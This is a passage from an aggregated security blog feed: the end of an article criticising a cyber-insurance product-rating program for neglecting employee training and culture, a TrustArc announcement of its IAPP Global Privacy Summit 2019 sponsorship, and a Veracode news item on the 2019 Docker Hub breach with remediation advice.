Where the analogy to the Insurance Institute for Highway Safety breaks down is here: The threats to car drivers and passengers have ultimately stayed the same since its inception. Everything we’ve learned over the years about making cars has progressively led to safer vehicles. Information technology is vastly different in that iterative improvements in one specific area doesn’t necessarily make an organization as a whole safer or better protected against cyber threats–in fact sometimes it can have the opposite effect when a new feature added turns out to be a bug.

Cyber defenses are meaningless in the presence of an unintended, yet gaping, hole in an organization’s defenses. Then there is the march of sound innovation. Products that provided first-in-class protection for a business’s network a few years ago may no longer be so great where cloud computing and virtual servers, or BYOD are concerned. The attackable surface of every business continues to increase with each newly introduced technology, and it seems overly optimistic to assume the standard evaluation process (currently twice a year) would be able to keep pace with new threats.

There’s also the risk of putting too many eggs into one basket. While the diffuse nature of the cybersecurity market causes headaches for everyone involved, establishing a recommended solution or set of solutions effectively makes them an ideal target for hackers. While it’s important to keep consumers and businesses informed of potential risk to their information, cybersecurity issues require a certain amount of secrecy until they have been properly addressed. Compromising, or even identifying and reporting on a vulnerability before it’s been patched in an industry standard security product, process or vendor practice could cause a potentially catastrophic chain reaction for cyber insurers and their clients.

Culture Eats Strategy for Breakfast

Where the Cyber Catalyst program seems to potentially miss the mark is by overlooking the weakest link in any company’s security (i.e., its users). An advanced cybersecurity system or set of tools capable of blocking the most insidious and sophisticated attack can readily be circumvented by a spear phishing campaign, a compromised smartphone, or a disgruntled employee. Social engineering cannot be systematically addressed. Combatting the lures of compromise requires organizations to foster and maintain a culture of privacy and security.

The risk of employee over-reliance on tools and systems at the expense of training, awareness, and a company culture where cybersecurity is front and center must not be underestimated. While it is easier to opt for the quick and easy approach of purchasing a recommended solution, companies still need a comprehensive and evolving playbook to meet the ever-changing tactics of persistent, sophisticated and creative hackers.

While industry-wide cooperation may be a good thing, it’s vital for companies and insurers alike to recognize that any security program or service is fallible. Without an equal investment in functional cybersecurity, which places as much store in training employees and keeping aware of new threats, the rise in breaches and compromises will continue.

This article originally appeared on Inc.com.

The post What This Report on Cyber Risk Gets Wrong appeared first on Adam Levin.

TrustArc to Sponsor IAPP Global Privacy Summit 2019

TrustArc is excited to be part of the IAPP Global Privacy Summit in Washington, DC this week! The 2019 Summit will gather more than 3,600 professionals from all over the globe for an engaging program full of privacy experts. The conference features four days of education, guidance, inspiration and connections that will spotlight the big picture of data protection. To kick the conference off, TrustArc is hosting a Welcome Party with partner RADAR on Wednesday, May 1st. Clients, partners and friends will get together over drinks and food to network and touch base before diving into the following day’s first … Continue reading TrustArc to Sponsor IAPP Global Privacy Summit 2019

The post TrustArc to Sponsor IAPP Global Privacy Summit 2019 appeared first on TrustArc Blog.

Docker Hub Database Breached, As Many As 190,000 Accounts Affected

Veracode Container Security Docker Breach April 2019

Docker, a company that created an open platform for building and running distributed applications, reported to users that its Docker Hub database had been breached, exposing sensitive data from approximately 190,000 accounts. While that figure makes up less than five percent of Hub users, the data included some usernames and hashed passwords as well as Github and Bitbucket tokens for Docker autobuild. The company reported that the tokens have been revoked, and said it “acted quickly to intervene and secure the site.”

Experts who spoke with Motherboard indicated that the worst-case scenario is that hackers gain access to proprietary source code of some of those accounts. For context, companies on Docker’s roster include the likes of Paypal and Visa. Microsoft quickly reported that its official files hosted in Docker Hub were not compromised.

According to Veracode CTO Chris Wysopal, it is not yet known what the underlying vulnerability was at Docker Hub, but it is a serious breach as attackers could use the access tokens to get at a company’s source code. It is unclear if the attackers would have write privileges, which would enable backdooring into the code. Wysopal said each customer that was notified should be resetting access tokens and looking at logs for access. With revision control, this is all heavily audited.

Since Docker notified customers quickly, hopefully the impact is limited. The company emailed those impacted by the breach directly with a password reset link. Customers using autobuilds should check to ensure that their GitHub or Bitbucket repositories are still linked to the Docker Hub to ensure autobuilds work correctly moving forward.

Thousands of companies and millions of developers around the world use Docker to run containers, which are software packages that include code, runtime, settings, system libraries, and system tools. By isolating software from its surroundings, software containers enable code to always run the same regardless of the environment it is operating within. Although the company is still investigating the breach, if hackers have access to the private code in the repositories, they may be able to inject malicious code into software autobuilt by Docker.